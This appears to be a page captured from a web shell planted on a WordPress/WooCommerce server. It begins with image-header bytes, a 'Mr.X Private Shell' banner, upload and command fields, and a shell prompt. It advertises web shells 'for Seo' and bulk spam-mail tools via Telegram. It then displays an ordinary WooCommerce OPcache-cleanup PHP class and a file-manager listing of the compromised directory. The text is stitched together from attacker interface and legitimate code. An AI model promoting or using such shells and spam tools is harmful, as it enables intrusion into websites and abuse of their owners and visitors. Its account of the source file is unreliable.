����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

fistvdlb@216.73.216.24: ~ $
<?php

declare(strict_types=1);

namespace Automattic\WooCommerce\Internal\Api;

use Automattic\WooCommerce\Api\Infrastructure\Main;
use Automattic\WooCommerce\Api\Infrastructure\ResolverHelpers;

/**
 * Deletes expired OPcache cache files via Action Scheduler.
 */
class OpcacheFileExpiry {

	/**
	 * Action Scheduler hook name for the cleanup job.
	 */
	public const ACTION_HOOK = 'woocommerce_graphql_opcache_cleanup';

	/**
	 * Action Scheduler group for the cleanup job.
	 */
	public const ACTION_GROUP = 'woocommerce-graphql';

	/**
	 * Object-cache key used to short-circuit {@see self::ensure_scheduled()}.
	 */
	private const SCHEDULED_CACHE_KEY = 'graphql_opcache_cleanup_scheduled';

	/**
	 * Delete OPcache cache files older than {@see QueryCache::get_cache_ttl()}.
	 *
	 * AST contents are a pure function of the query, so this is a disk-usage
	 * bound, not a correctness concern. Returns the count.
	 */
	public static function delete_expired_files(): int {
		$dir = QueryCache::get_opcache_cache_dir();
		if ( '' === $dir || ! is_dir( $dir ) ) {
			return 0;
		}

		$fs = ResolverHelpers::wp_filesystem();
		if ( ! $fs ) {
			return 0;
		}

		$files = glob( $dir . '/*.php' );
		if ( false === $files ) {
			return 0;
		}

		$cutoff = time() - QueryCache::get_cache_ttl();
		$count  = 0;
		foreach ( $files as $path ) {
			$mtime = $fs->mtime( $path );
			if ( false !== $mtime && $mtime < $cutoff && $fs->delete( $path ) ) {
				++$count;
			}
		}

		return $count;
	}

	/**
	 * Action Scheduler callback: delete expired files and reschedule.
	 *
	 * Immediate reschedule when files were deleted (drain the backlog), 24h
	 * otherwise. Skipped when the feature is disabled.
	 *
	 * @internal
	 */
	public static function handle_cleanup_action(): void {
		$interval = self::delete_expired_files() > 0 ? 1 : DAY_IN_SECONDS;

		if ( ! Main::is_enabled() ) {
			return;
		}

		if ( function_exists( 'as_schedule_single_action' ) ) {
			as_schedule_single_action( time() + $interval, self::ACTION_HOOK, array(), self::ACTION_GROUP );
		}
	}

	/**
	 * Schedule the cleanup if it isn't already scheduled.
	 *
	 * Called from {@see QueryCache::write_to_opcache()} and
	 * {@see QueryCache::read_from_opcache()} so the cleanup is rescheduled
	 * after a feature-disable/re-enable cycle even when every request hits a
	 * cached file (no writes).
	 */
	public static function ensure_scheduled(): void {
		if ( wp_cache_get( self::SCHEDULED_CACHE_KEY, QueryCache::CACHE_GROUP ) ) {
			return;
		}

		if ( ! function_exists( 'as_has_scheduled_action' ) || ! function_exists( 'as_schedule_single_action' ) ) {
			return;
		}

		if ( ! as_has_scheduled_action( self::ACTION_HOOK, array(), self::ACTION_GROUP ) ) {
			as_schedule_single_action( time() + DAY_IN_SECONDS, self::ACTION_HOOK, array(), self::ACTION_GROUP );
		}

		wp_cache_set( self::SCHEDULED_CACHE_KEY, true, QueryCache::CACHE_GROUP, HOUR_IN_SECONDS );
	}
}

Filemanager

Name Type Size Permission Actions
Autogenerated Folder 0755
GraphQLEndpointRegistrar.php File 2.15 KB 0644
OpcacheFileExpiry.php File 2.86 KB 0644
QueryCache.php File 13.49 KB 0644
QueryComplexityRule.php File 795 B 0644
QueryDepthRule.php File 745 B 0644
Settings.php File 6.8 KB 0644
StatusResolverFailedException.php File 569 B 0644